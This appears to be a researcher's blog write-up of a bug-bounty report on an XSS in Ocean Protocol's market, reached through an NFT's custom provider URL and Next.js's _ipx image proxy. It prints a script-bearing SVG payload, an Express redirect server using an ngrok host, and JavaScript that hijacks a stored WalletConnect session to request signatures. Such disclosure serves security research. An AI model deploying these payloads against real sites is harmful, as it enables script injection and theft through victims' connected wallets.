Bug report study: Ocean XSS via NFT

This is a bug which made me to dive deep into Solidity code. It was accepted and I even got paid, but waaay lower than I expected - I honestly considered it as a critical. However, it was marked as out of scope, as it was partially related to deployment configuration, not source code itself.

I’m the lawful good guy and always follow the rules, so since Ocean removed website as target (I still think it was because of me, reporting access to any dataset first, and now this - all within a month), I decided “I deserve crit”, and started looking through Solidity contracts. I got my Solidity crits later, but this is a different story.

BTW, have you ever seen projects paying for none? :D
BTW, have you ever seen projects paying for none? :D

A bit more than a year ago, there was an XSS attack in Next.js framework (CVE-2021-39178). There were 2 of them, actually, both related to image processing, but with different sub-APIs used.

Next.js is React framework for building web apps, and it is huge. React usage is 80%+ across web devs according to State of JS, and Next.js is by-default choice nowadays for most of React developers. I would say, that 20-30% of modern web apps are running Next.js.

This XSS was quite specific and had narrow usage. It allowed to load external image and “run” it in its own context. URL for this attack looked like this:

https://host/_ipx/w_100,q_1/<URL>

PNG/JPG/WebP images were just processed, but SVG… well, SVG was different, it allowed to execute scripts.

This is what I used in my report:

<svg xmlns="http://www.w3.org/2000/svg">
    <foreignObject>
        <body xmlns="http://www.w3.org/1999/xhtml">
            <script type="text/javascript">
            ...code...
            </script>
        </body>
    </foreignObject>
</svg>

There are other ways to run JS in SVG, but I consider this a most readable one.

But if you cannot make an impact, what’s the point of report? You need to find the impact, not attack vector.

So, I started diving deep.

Ocean Protocol is pay-for-data-access protocol, where you get NFT that allows you to download stuff offchain - you sign string as proof of identity, and then download data from their servers.

I tried to look through all the renderable fields on the project, but all of them, despite supporting markdown, were not rendering any images. Just text. Avatars were also processed, so… no chances?

But I got some really interesting findings during this research and research I did before:

  • Data is “stored” in provider’s server; I do not remember the exact query, but request was something like https://provider/api/services/download?nft_id=X&signature=Y

  • NFT contains information about provider used; you can pass any provider you want, not only pre-defined centralised provider

  • api/services/download link was not processed by fancy JS, it was simply <a href=X>, looking as button

    • What was more interesting here, a tag wasn’t marked with download attribute, forcing to download everything you click; instead, they were relying on provider server to response with Content-Disposition header.

So, combined all together, turned out you can create some NFT, that - when you click “download” button - will get the provider hostname from this NFT, go to this provider, and behave as an ordinary link, following whatever this server will send.

For example, a redirect to our XSS.

Of course, some extra stuff had to be done, including CORS and other API endpoint proxying, but I’m omitting it here as a boring part, focusing on attack vector only.

This was my code at that moment:

require('express')()
    .get('/api/services/download', (req, res) => {
// this one should point to correct hostname
res.redirect('https://market.oceanprotocol.com/_ipx/w_100,q_1/https://...ngrok.io/svg.svg');
    })
    .get('/svg.svg', (req, res) => {
        res.contentType('image/svg+xml');
        res.send(`<svg xmlns="http://www.w3.org/2000/svg">
    <foreignObject>
        <body xmlns="http://www.w3.org/1999/xhtml">
            <script type="text/javascript">
            ...
            </script>
        </body>
    </foreignObject>
</svg>
`);
    })

So, at this moment I was able to execute any JS code within the target hostname context when user was clicking “download”… but what was I able to do? How to classify it?

This was a question I was asking myself for whole day before sending the report, actually. You do everything with your wallet, and nothing was stored in cookies… or was it?

Well, it was. WalletConnect v1 was re-using the locally stored data to not recreate the connection across the tabs, so, I will just show how it worked:

<foreignObject width="100" height="100">
        <body xmlns="http://www.w3.org/1999/xhtml">
            <script src="https://cdn.jsdelivr.net/npm/@walletconnect/client@1.7.8/dist/umd/index.min.js"></script>
            <script type="text/javascript">
            const wc = new (WalletConnect.default)({bridge: "https://bridge.walletconnect.org"});
            wc.signPersonalMessage(["hello", wc.accounts[0]])
            </script>
        </body>
</foreignObject>

Yes, it was possible to re-use WalletConnect session to do the bad stuff.

Now that was some real thing here, as there was specific impact:

Submitting malicious transactions to an already-connected wallet


But I was feeling like I need something as a topping. I spend a few hours more, thinking, and the final attack was the following. Describing it in text, as I provided the smallest PoC possible and I cannot find the original big PoC with all the features:

  • victim clicks “download”

  • screen gets white for a few milliseconds, because victim is redirected to XSS SVG, that:

    • take the WalletConnect session stored in localStorage

    • initiate download from bad server via JS api (like described here) that will break in the middle

    • navigates back via history.back()

  • Screen gets back to original page

  • Bad server initiates some extra signature via WalletConnect, but with parameters he want

From side of user it will be looking like he clicked download, then screen flashed white for a few frames (well, that happens sometimes in the web, right?), download broke and he is asked to sign again. Maybe because download broked, eh?

URL in this case will be generally unchanged, except few white frames that are distracting user, as history.back() API will generally load previous page instantly, not re-load it. This looks almost legit, and it was really feeling like being an evil mastermind.


But, why it was scored as “none”? Turned out, they were using SaaS for publishing the app, and _ipx image vector was this SaaS vulnerability, not their app itself. And, according to their rules:

Public deployments of the above repos. Deployments can be used as helpers, but penetration tests or similar are out of scope. Purpose of the bounty is to test the code in the repo.

Technically, they were all correct and I had no ground to disagree, but I still was angry (okay, I was happy AND angry).

But after this report they closed the web app part of BB program, so I moved away my not-even-a-vuln-yet findings on Ocean. I was really angry, angry enough to learn Solidity and start looking for Solidity bugs. And that’s how my big journey started. I found my first Solidity crit within a few months after this resolution.

Sometimes you start doing good things with not the best motivation, but it’s output and intent that matters, not why you had this intent.

That’s it. I really wish to find more bugs of those kind, as this was super-interesting thing to research, but all the hybrid bugs I was finding were more like “break the subgraph”. I hope you enjoyed my text too.

Subscribe to my Twitter for more web3 security stuff:

Subscribe to Merkle Bonsai
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.